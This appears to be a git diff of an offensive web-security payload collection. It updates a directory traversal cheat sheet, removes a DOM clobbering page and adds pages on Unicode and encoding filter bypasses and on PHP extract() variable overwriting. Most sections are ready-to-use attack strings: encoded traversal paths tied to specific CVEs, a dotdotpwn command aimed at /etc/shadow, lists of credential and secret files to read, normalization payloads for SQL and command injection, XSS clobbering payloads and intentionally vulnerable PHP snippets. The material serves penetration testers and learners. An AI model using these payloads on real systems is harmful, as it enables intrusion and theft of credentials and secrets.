/\..%2f\..%2f\..%2f\..%2f /\..%2f\..%2f\..%2f\..%2f{FILE}
/\..%2f\..%2f\..%2f\..%2f\..%2f /\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f /\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f /\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE} /\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}

View File

@@ -5,29 +5,34 @@
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Basic exploitation](#basic-exploitation) * [Methodology](#methodology)
* [16 bits Unicode encoding](#16-bits-unicode-encoding) * [URL Encoding](#url-encoding)
* [UTF-8 Unicode encoding](#utf-8-unicode-encoding) * [Double URL Encoding](#double-url-encoding)
* [Bypass "../" replaced by ""](#bypass--replaced-by-) * [Unicode Encoding](#unicode-encoding)
* [Bypass "../" with ";"](#bypass--with-) * [Overlong UTF-8 Unicode Encoding](#overlong-utf-8-unicode-encoding)
* [Double URL encoding](#double-url-encoding) * [Mangled Path](#mangled-path)
* [UNC Bypass](#unc-bypass) * [NULL Bytes](#null-bytes)
* [NGINX/ALB Bypass](#nginxalb-bypass) * [Reverse Proxy URL Implementation](#reverse-proxy-url-implementation)
* [ASPNET Cookieless Bypass](#aspnet-cookieless-bypass) * [Exploit](#exploit)
* [UNC Share](#unc-share)
* [ASPNET Cookieless](#asp-net-cookieless)
* [IIS Short Name](#iis-short-name)
* [Java URL Protocol](#java-url-protocol)
* [Path Traversal](#path-traversal) * [Path Traversal](#path-traversal)
* [Interesting Linux files](#interesting-linux-files) * [Linux Files](#linux-files)
* [Interesting Windows files](#interesting-windows-files) * [Windows Files](#windows-files)
* [Labs](#labs)
* [References](#references) * [References](#references)
## Tools ## Tools
- [dotdotpwn - https://github.com/wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) * [wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) - The Directory Traversal Fuzzer
```powershell ```powershell
git clone https://github.com/wireghoul/dotdotpwn
perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
``` ```
## Basic exploitation ## Methodology
We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter. We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
@@ -42,23 +47,62 @@ We can use the `..` characters to access the parent directory, the following str
%uff0e%uff0e%u2216 %uff0e%uff0e%u2216
``` ```
### 16 bits Unicode encoding ### URL Encoding
```powershell | Character | Encoded |
. = %u002e | --- | -------- |
/ = %u2215 | `.` | `%2e` |
\ = %u2216 | `/` | `%2f` |
| `\` | `%5c` |
**Example:** IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion
```ps1
{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd
``` ```
### UTF-8 Unicode encoding ### Double URL Encoding
```powershell Double URL encoding is the process of applying URL encoding twice to a string. In URL encoding, special characters are replaced with a % followed by their hexadecimal ASCII value. Double encoding repeats this process on the already encoded string.
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f | Character | Encoded |
\ = %c0%5c, %c0%80%5c | --- | -------- |
| `.` | `%252e` |
| `/` | `%252f` |
| `\` | `%255c` |
**Example:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271)
```ps1
{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
``` ```
### Bypass "../" replaced by "" ### Unicode Encoding
| Character | Encoded |
| --- | -------- |
| `.` | `%u002e` |
| `/` | `%u2215` |
| `\` | `%u2216` |
**Example**: Openfire Administration Console - Authentication Bypass (CVE-2023-32315)
```js
{{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
```
### Overlong UTF-8 Unicode Encoding
The UTF-8 standard mandates that each codepoint is encoded using the minimum number of bytes necessary to represent its significant bits. Any encoding that uses more bytes than required is referred to as "overlong" and is considered invalid under the UTF-8 specification. This rule ensures a one-to-one mapping between codepoints and their valid encodings, guaranteeing that each codepoint has a single, unique representation.
| Character | Encoded |
| --- | -------- |
| `.` | `%c0%2e`, `%e0%40%ae`, `%c0%ae` |
| `/` | `%c0%af`, `%e0%80%af`, `%c0%2f` |
| `\` | `%c0%5c`, `%c0%80%5c` |
### Mangled Path
Sometimes you encounter a WAF which remove the `../` characters from the strings, just duplicate them. Sometimes you encounter a WAF which remove the `../` characters from the strings, just duplicate them.
@@ -67,117 +111,205 @@ Sometimes you encounter a WAF which remove the `../` characters from the strings
...\.\ ...\.\
``` ```
### Bypass "../" with ";" **Example:**: Mirasys DVMS Workstation <=5.12.6
```ps1
{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini
```
### NULL Bytes
A null byte (`%00`), also known as a null character, is a special control character (0x00) in many programming languages and systems. It is often used as a string terminator in languages like C and C++. In directory traversal attacks, null bytes are used to manipulate or bypass server-side input validation mechanisms.
**Example:** Homematic CCU3 CVE-2019-9726
```js
{{BaseURL}}/.%00./.%00./etc/passwd
```
**Example:** Kyocera Printer d-COPIA253MF CVE-2020-23575
```js
{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm
```
### Reverse Proxy URL Implementation
Nginx treats `/..;/` as a directory while Tomcat treats it as it would treat `/../` which allows us to access arbitrary servlets.
```powershell ```powershell
..;/ ..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
``` ```
**Example**: Pascom Cloud Phone System CVE-2021-45967
### Double URL encoding A configuration error between NGINX and a backend Tomcat server leads to a path traversal in the Tomcat server, exposing unintended endpoints.
```powershell ```js
. = %252e {{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}
/ = %252f
\ = %255c
``` ```
**e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini` ## Exploit
These exploits affect mechanism linked to specific technologies.
### UNC Bypass ### UNC Share
An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file. A UNC (Universal Naming Convention) share is a standard format used to specify the location of resources, such as shared files, directories, or devices, on a network in a platform-independent manner. It is commonly used in Windows environments but is also supported by other operating systems.
An attacker can inject a **Windows** UNC share (`\\UNC\share\name`) into a software system to potentially redirect access to an unintended location or arbitrary file.
```powershell ```powershell
\\localhost\c$\windows\win.ini \\localhost\c$\windows\win.ini
``` ```
Also the machine might also authenticate on this remote share, thus sending an NTLM exchange.
### NGINX/ALB Bypass ### ASP NET Cookieless
NGINX in certain configurations and ALB can block traversal attacks in the route, For example:
```http://nginx-server/../../``` will return a 400 bad request.
To bypass this behaviour just add forward slashes in front of the url:
```http://nginx-server////////../../```
### ASPNET Cookieless Bypass
When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it. When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it.
For example, a typical URL might be transformed from: `http://example.com/page.aspx` to something like: `http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx`. The value within `(S(...))` is the Session ID. For example, a typical URL might be transformed from: `http://example.com/page.aspx` to something like: `http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx`. The value within `(S(...))` is the Session ID.
| .NET Version | URI |
| -------------- | -------------------------- |
| V1.0, V1.1 | /(XXXXXXXX)/ |
| V2.0+ | /(S(XXXXXXXX))/ |
| V2.0+ | /(A(XXXXXXXX)F(YYYYYYYY))/ |
| V2.0+ | ... |
We can use this behavior to bypass filtered URLs. We can use this behavior to bypass filtered URLs.
```powershell * If your application is in the main folder
/admin/(S(X))/main.aspx
/admin/Foobar/(S(X))/../(S(X))/main.aspx
/(S(X))/admin/(S(X))/main.aspx
```
```ps1
/(S(X))/
/(Y(Z))/
/(G(AAA-BBB)D(CCC=DDD)E(0-1))/
/(S(X))/admin/(S(X))/main.aspx
/(S(x))/b/(S(x))in/Navigator.dll
```
### Java Bypass * If your application is in a subfolder
Bypass Java's URL protocol ```ps1
/MyApp/(S(X))/
/admin/(S(X))/main.aspx
/admin/Foobar/(S(X))/../(S(X))/main.aspx
```
| CVE | Payload |
| -------------- | ---------------------------------------------- |
| CVE-2023-36899 | /WebForm/(S(X))/prot/(S(X))ected/target1.aspx |
| - | /WebForm/(S(X))/b/(S(X))in/target2.aspx |
| CVE-2023-36560 | /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/ |
| - | /WebForm/b/(S(X))in/target2.aspx/(S(X))/ |
### IIS Short Name
The IIS Short Name vulnerability exploits a quirk in Microsoft's Internet Information Services (IIS) web server that allows attackers to determine the existence of files or directories with names longer than the 8.3 format (also known as short file names) on a web server.
* [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)
```ps1
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'
```
* [bitquark/shortscan](https://github.com/bitquark/shortscan)
```ps1
shortscan http://example.org/
```
### Java URL Protocol
Java's URL protocol when `new URL('')` is used allows the format `url:URL`
```powershell ```powershell
url:file:///etc/passwd url:file:///etc/passwd
url:http://127.0.0.1:8080 url:http://127.0.0.1:8080
``` ```
## Path Traversal ## Path Traversal
### Interesting Linux files ### Linux Files
* Operating System and Informations
```powershell
/etc/issue
/etc/group
/etc/hosts
/etc/motd
```
* Processes
```ps1
/proc/[0-9]*/fd/[0-9]* # first number is the PID, second is the filedescriptor
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
```
* Network
```ps1
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
```
* Current Path
```ps1
/proc/self/cwd/index.php
/proc/self/cwd/main.py
```
* Indexing
```ps1
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db
```
* Credentials and history
```ps1
/etc/passwd
/etc/shadow
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/etc/mysql/my.cnf
```
* Kubernetes
```ps1
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
```
### Windows Files
The files `license.rtf` and `win.ini` are consistently present on modern Windows systems, making them a reliable target for testing path traversal vulnerabilities. While their content isn't particularly sensitive or interesting, they serves well as a proof of concept.
```powershell ```powershell
/etc/issue C:\Windows\win.ini
/etc/passwd C:\windows\system32\license.rtf
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db
``` ```
### Interesting Windows files A list of files / paths to probe when arbitrary files can be read on a Microsoft Windows operating system: [soffensive/windowsblindread](https://github.com/soffensive/windowsblindread)
Always existing file in recent Windows machine.
Ideal to test path traversal but nothing much interesting inside...
```powershell ```powershell
c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
```
Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
```powershell
c:/boot.ini
c:/inetpub/logs/logfiles c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp c:/inetpub/wwwroot/index.asp
@@ -201,38 +333,23 @@ c:/windows/repair/sam
c:/windows/repair/system c:/windows/repair/system
``` ```
The following log files are controllable and can be included with an evil payload to achieve a command execution
```powershell
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
```
## Labs ## Labs
* [File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple) * [PortSwigger - File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple)
* [File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass) * [PortSwigger - File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)
* [File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively) * [PortSwigger - File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively)
* [File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode) * [PortSwigger - File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode)
* [File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path) * [PortSwigger - File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path)
* [File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass) * [PortSwigger - File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass)
## References ## References
* [Path Traversal Cheat Sheet: Windows](https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/) * [Cookieless ASPNET - Soroush Dalili - March 27, 2023](https://web.archive.org/web/20241202163755/https://twitter.com/irsdl/status/1640390106312835072)
* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack) * [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://web.archive.org/web/20080115180212/http://cwe.mitre.org:80/data/definitions/40.html)
* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html) * [Directory traversal - Portswigger - March 30, 2019](https://web.archive.org/web/20190330191447/https://portswigger.net/web-security/file-path-traversal)
* [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381) * [Directory traversal attack - Wikipedia - August 5, 2024](https://web.archive.org/web/20111013162219/http://en.wikipedia.org:80/wiki/Directory_traversal_attack)
* [Directory traversal - Portswigger](https://portswigger.net/web-security/file-path-traversal) * [EP 057 | Proc filesystem tricks & locatedb abuse with @_remsio_ & @_bluesheet - TheLaluka - November 30, 2023](https://web.archive.org/web/20240323234120/https://youtu.be/YlZGJ28By8U)
* [Cookieless ASPNET - Soroush Dalili](https://twitter.com/irsdl/status/1640390106312835072) * [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos - 19 June 2018](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
* [EP 057 | Proc filesystem tricks & locatedb abuse with @_remsio_ & @_bluesheet - TheLaluka - 30 nov. 2023](https://youtu.be/YlZGJ28By8U) * [NGINX may be protecting your applications from traversal attacks without you even knowing - Rotem Bar - September 24, 2020](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
* [Path Traversal Cheat Sheet: Windows - @HollyGraceful - May 17, 2015](https://web.archive.org/web/20170123115404/https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
* [Understand How the ASP.NET Cookieless Feature Works - Microsoft Documentation - June 24, 2011](https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10))

View File

@@ -1,132 +0,0 @@
# Dom Clobbering
> DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
## Summary
* [Lab](#lab)
* [Exploit](#exploit)
* [References](#references)
## Lab
* [Lab: Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
* [Lab: Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
* [Lab: DOM clobbering test case protected by CSP](https://portswigger-labs.net/dom-invader/testcases/augmented-dom-script-dom-clobbering-csp/)
## Exploit
Exploitation requires any kind of `HTML injection` in the page.
* Clobbering `x.y.value`
```html
// Payload
<form id=x><output id=y>I've been clobbered</output>
// Sink
<script>alert(x.y.value);</script>
```
* Clobbering `x.y` using ID and name attributes together to form a DOM collection
```html
// Payload
<a id=x><a id=x name=y href="Clobbered">
// Sink
<script>alert(x.y)</script>
```
* Clobbering `x.y.z` - 3 levels deep
```html
// Payload
<form id=x name=y><input id=z></form>
<form id=x></form>
// Sink
<script>alert(x.y.z)</script>
```
* Clobbering `a.b.c.d` - more than 3 levels
```html
// Payload
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
// Sink
<script>alert(a.b.c.d)</script>
```
* Clobbering `forEach` (Chrome only)
```html
// Payload
<form id=x>
<input id=y name=z>
<input id=y>
</form>
// Sink
<script>x.y.forEach(element=>alert(element))</script>
```
* Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
```html
// Payloads
<html id="cdnDomain">clobbered</html>
<svg><body id=cdnDomain>clobbered</body></svg>
// Sink
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
```
* Clobbering `x.username`
```html
// Payload
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
// Sink
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>
```
* Clobbering (Firefox only)
```html
// Payload
<base href=a:abc><a id=x href="Firefox<>">
// Sink
<script>
alert(x)//Firefox<>
</script>
```
* Clobbering (Chrome only)
```html
// Payload
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
// Sink
<script>
alert(x.xyz)//a://Clobbered<>
</script>
```
## Tricks
* DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`
## References
* [Dom Clobbering - PortSwigger](https://portswigger.net/web-security/dom-based/dom-clobbering)
* [Dom Clobbering - HackTricks](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
* [DOM Clobbering strikes back - @garethheyes - 06 February 2020](https://portswigger.net/research/dom-clobbering-strikes-back)
* [Hijacking service workers via DOM Clobbering - @garethheyes - 29 November 2022](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [Bypassing CSP via DOM clobbering - @garethheyes - 05 June 2023](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)

View File

@@ -0,0 +1,111 @@
# Encoding and Transformations
> Encoding and Transformations are techniques that change how data is represented or transferred without altering its core meaning. Common examples include URL encoding, Base64, HTML entity encoding, and Unicode transformations. Attackers use these methods as gadgets to bypass input filters, evade web application firewalls, or break out of sanitization routines.
## Summary
* [Unicode](#unicode)
* [Unicode Normalization](#unicode-normalization)
* [Punycode](#punycode)
* [Base64](#base64)
* [Labs](#labs)
* [References](#references)
## Unicode
Unicode is a universal character encoding standard used to represent text from virtually every writing system in the world. Each character (letters, numbers, symbols, emojis) is assigned a unique code point (for example, U+0041 for "A"). Unicode encoding formats like UTF-8 and UTF-16 specify how these code points are stored as bytes.
### Unicode Normalization
Unicode normalization is the process of converting Unicode text into a standardized, consistent form so that equivalent characters are represented the same way in memory.
[Unicode Normalization reference table](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html)
* **NFC** (Normalization Form Canonical Composition): Combines decomposed sequences into precomposed characters where possible.
* **NFD** (Normalization Form Canonical Decomposition): Breaks characters into their decomposed forms (base + combining marks).
* **NFKC** (Normalization Form Compatibility Composition): Like NFC, but also replaces characters with compatibility equivalents (may change appearance/format).
* **NFKD** (Normalization Form Compatibility Decomposition): Like NFD, but also decomposes compatibility characters.
| Character | Payload | After Normalization |
| ------------ | --------------------- | --------------------- |
| `‥` (U+2025) | `‥/‥/‥/etc/passwd` | `../../../etc/passwd` |
| `` (U+FE30) | `///etc/passwd` | `../../../etc/passwd` |
| `` (U+FF07) | ` or 1=1` | `' or '1'='1` |
| `` (U+FF02) | ` or 1=1` | `" or "1"="1` |
| `﹣` (U+FE63) | `admin'﹣﹣` | `admin'--` |
| `。` (U+3002) | `domain。com` | `domain.com` |
| `` (U+FF0F) | `domain.com` | `//domain.com` |
| `` (U+FF1C) | `img src=a` | `<img src=a/>` |
| `﹛` (U+FE5B) | `﹛﹛3+3﹜﹜` | `{{3+3}}` |
| `` (U+FF3B) | `5+5` | `[[5+5]]` |
| `` (U+FF06) | `whoami` | `&&whoami` |
| `` (U+FF50) | `shell.pʰp` | `shell.php` |
| `ʰ` (U+02B0) | `shell.pʰp` | `shell.php` |
| `ª` (U+00AA) | `ªdmin` | `admin` |
```py
import unicodedata
string = "ᴾᵃʸˡᵒᵃᵈˢ𝓐𝓵𝓵𝕋𝕙𝕖𝒯𝒽𝒾𝓃ℊ𝓈"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))
```
### Punycode
Punycode is a way to represent Unicode characters (including non-ASCII letters, symbols, and scripts) using only the limited set of ASCII characters (letters, digits, and hyphens).
It's mainly used in the Domain Name System (DNS), which traditionally supports only ASCII. Punycode allows internationalized domain names (IDNs), so that domain names can include characters from many languages by converting them into a safe ASCII form.
| Visible in Browser (IDN support) | Actual ASCII (Punycode) |
| -------------------------------- | ----------------------- |
| раypal.com | xn--ypal-43d9g.com |
| paypal.com | paypal.com |
In MySQL, similar character are treated as equal. This behavior can be abused in Password Reset, Forgot Password, and OAuth Provider sections.
```sql
SELECT 'a' = '';
+-------------+
| 'a' = '' |
+-------------+
| 1 |
+-------------+
```
This trick works the SQL query uses `COLLATE utf8mb4_0900_as_cs`.
```sql
SELECT 'a' = '' COLLATE utf8mb4_0900_as_cs;
+----------------------------------------+
| 'a' = '' COLLATE utf8mb4_0900_as_cs |
+----------------------------------------+
| 0 |
+----------------------------------------+
```
## Base64
Base64 encoding is a method for converting binary data (like images or files) or text with special characters into a readable string that uses only ASCII characters (A-Z, a-z, 0-9, +, and /). Every 3 bytes of input are divided into 4 groups of 6 bits and mapped to 4 Base64 characters. If the input isn't a multiple of 3 bytes, the output is padded with `=` characters.
```ps1
echo -n admin | base64
YWRtaW4=
echo -n YWRtaW4= | base64 -d
admin
```
## Labs
* [NahamCon - Puny-Code: 0-Click Account Takeover](https://github.com/VoorivexTeam/white-box-challenges/tree/main/punycode)
* [PentesterLab - Unicode and NFKC](https://pentesterlab.com/exercises/unicode-transform)
## References
* [Puny-Code, 0-Click Account Takeover - Voorivex - June 1, 2025](https://web.archive.org/web/20251211233427/https://blog.voorivex.team/puny-code-0-click-account-takeover)
* [Unicode normalization vulnerabilities - Lazar - September 30, 2021](https://web.archive.org/web/20251224043224/https://lazarv.com/posts/unicode-normalization-vulnerabilities/)
* [Unicode Normalization Vulnerabilities & the Special K Polyglot - AppCheck - September 2, 2019](https://web.archive.org/web/20190916002602/https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)
* [WAF Bypassing with Unicode Compatibility - Jorge Lajara - February 19, 2020](https://web.archive.org/web/20251230185141/https://jlajara.gitlab.io/Bypass_WAF_Unicode)
* [When "Zoë" !== "Zoë". Or why you need to normalize Unicode strings - Alessandro Segala - March 11, 2019](https://web.archive.org/web/20260128220322/https://withblue.ink/2019/03/11/why-you-need-to-normalize-unicode-strings.html)

View File

@@ -0,0 +1,98 @@
# External Variable Modification
> External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($_GET), extract($_POST), or import_request_variables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized changes to application logic, privilege escalation, or bypassing security controls.
## Summary
* [Methodology](#methodology)
* [Overwriting Critical Variables](#overwriting-critical-variables)
* [Poisoning File Inclusion](#poisoning-file-inclusion)
* [Global Variable Injection](#global-variable-injection)
* [Remediations](#remediations)
* [References](#references)
## Methodology
The `extract()` function in PHP imports variables from an array into the current symbol table. While it may seem convenient, it can introduce serious security risks, especially when handling user-supplied data.
* It allows overwriting existing variables.
* It can lead to **variable pollution**, impacting security mechanisms.
* It can be used as a **gadget** to trigger other vulnerabilities like Remote Code Execution (RCE) and Local File Inclusion (LFI).
By default, `extract()` uses `EXTR_OVERWRITE`, meaning it **replaces existing variables** if they share the same name as keys in the input array.
### Overwriting Critical Variables
If `extract()` is used in a script that relies on specific variables, an attacker can manipulate them.
```php
<?php
$authenticated = false;
extract($_GET);
if ($authenticated) {
echo "Access granted!";
} else {
echo "Access denied!";
}
?>
```
**Exploitation:**
In this example, the use of `extract($_GET)` allow an attacker to set the `$authenticated` variable to `true`:
```ps1
http://example.com/vuln.php?authenticated=true
http://example.com/vuln.php?authenticated=1
```
### Poisoning File Inclusion
If `extract()` is combined with file inclusion, attackers can control file paths.
```php
<?php
$page = "config.php";
extract($_GET);
include "$page";
?>
```
**Exploitation:**
```ps1
http://example.com/vuln.php?page=../../etc/passwd
```
### Global Variable Injection
:warning: As of PHP 8.1.0, write access to the entire `$GLOBALS` array is no longer supported.
Overwriting `$GLOBALS` when an application calls `extract` function on untrusted value:
```php
extract($_GET);
```
An attacker can manipulate **global variables**:
```ps1
http://example.com/vuln.php?GLOBALS[admin]=1
```
## Remediations
Use `EXTR_SKIP` to prevent overwriting:
```php
extract($_GET, EXTR_SKIP);
```
## References
* [CWE-473: PHP External Variable Modification - Common Weakness Enumeration - November 19, 2024](https://web.archive.org/web/20260210044429/https://cwe.mitre.org/data/definitions/473.html)
* [CWE-621: Variable Extraction Error - Common Weakness Enumeration - November 19, 2024](https://web.archive.org/web/20260223131419/https://cwe.mitre.org/data/definitions/621.html)
* [Function extract - PHP Documentation - March 21, 2001](https://web.archive.org/web/20260210044429/https://www.php.net/manual/en/function.extract.php)
* [$GLOBALS variables - PHP Documentation - April 30, 2008](https://web.archive.org/web/20260307071107/https://www.php.net/manual/en/reserved.variables.globals.php)
* [The Ducks - HackThisSite - December 14, 2016](https://github.com/HackThisSite/CTF-Writeups/blob/master/2016/SCTF/Ducks/README.md)
* [Extracttheflag! - Orel / WindTeam - February 28, 2024](https://web.archive.org/web/20250709004721/https://ctftime.org/writeup/38076)

View File

@@ -38,7 +38,7 @@ filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]: for c in base64_payload[::-1]:
filters += conversions[c] + "|" filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64 # decode and re-encode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|" filters += "convert.base64-decode|"
filters += "convert.base64-encode|" filters += "convert.base64-encode|"
# get rid of equal signs # get rid of equal signs

View File

@@ -0,0 +1,50 @@
convert.iconv.437.CP930
convert.iconv.CP1390.CSIBM932
convert.iconv.CP273.CP1122
convert.iconv.CP285.CP280
convert.iconv.CSISO5427CYRILLIC.855
convert.iconv.CSN_369103.CP770
convert.iconv.CSUNICODE.CSUNICODE
convert.iconv.CSUNICODE.UCS-2BE
convert.iconv.ES.IBM037
convert.iconv.ES.IBM930
convert.iconv.IBM037.CP1250
convert.iconv.IBM037.IBM256
convert.iconv.IBM037.IBM280
convert.iconv.IBM037.IBM860
convert.iconv.IBM1122.IBM273
convert.iconv.IBM1137.8859_1
convert.iconv.IBM1141.8859_1
convert.iconv.IBM1141.IBM4517
convert.iconv.IBM1145.IBM850
convert.iconv.IBM1148.EBCDIC-AT-DE-A
convert.iconv.IBM1149.MAC-SAMI
convert.iconv.IBM1390.IBM932
convert.iconv.IBM1390.IBM939
convert.iconv.IBM1399.IBM930
convert.iconv.IBM256.IBM273
convert.iconv.IBM273.CWI
convert.iconv.IBM273.ES
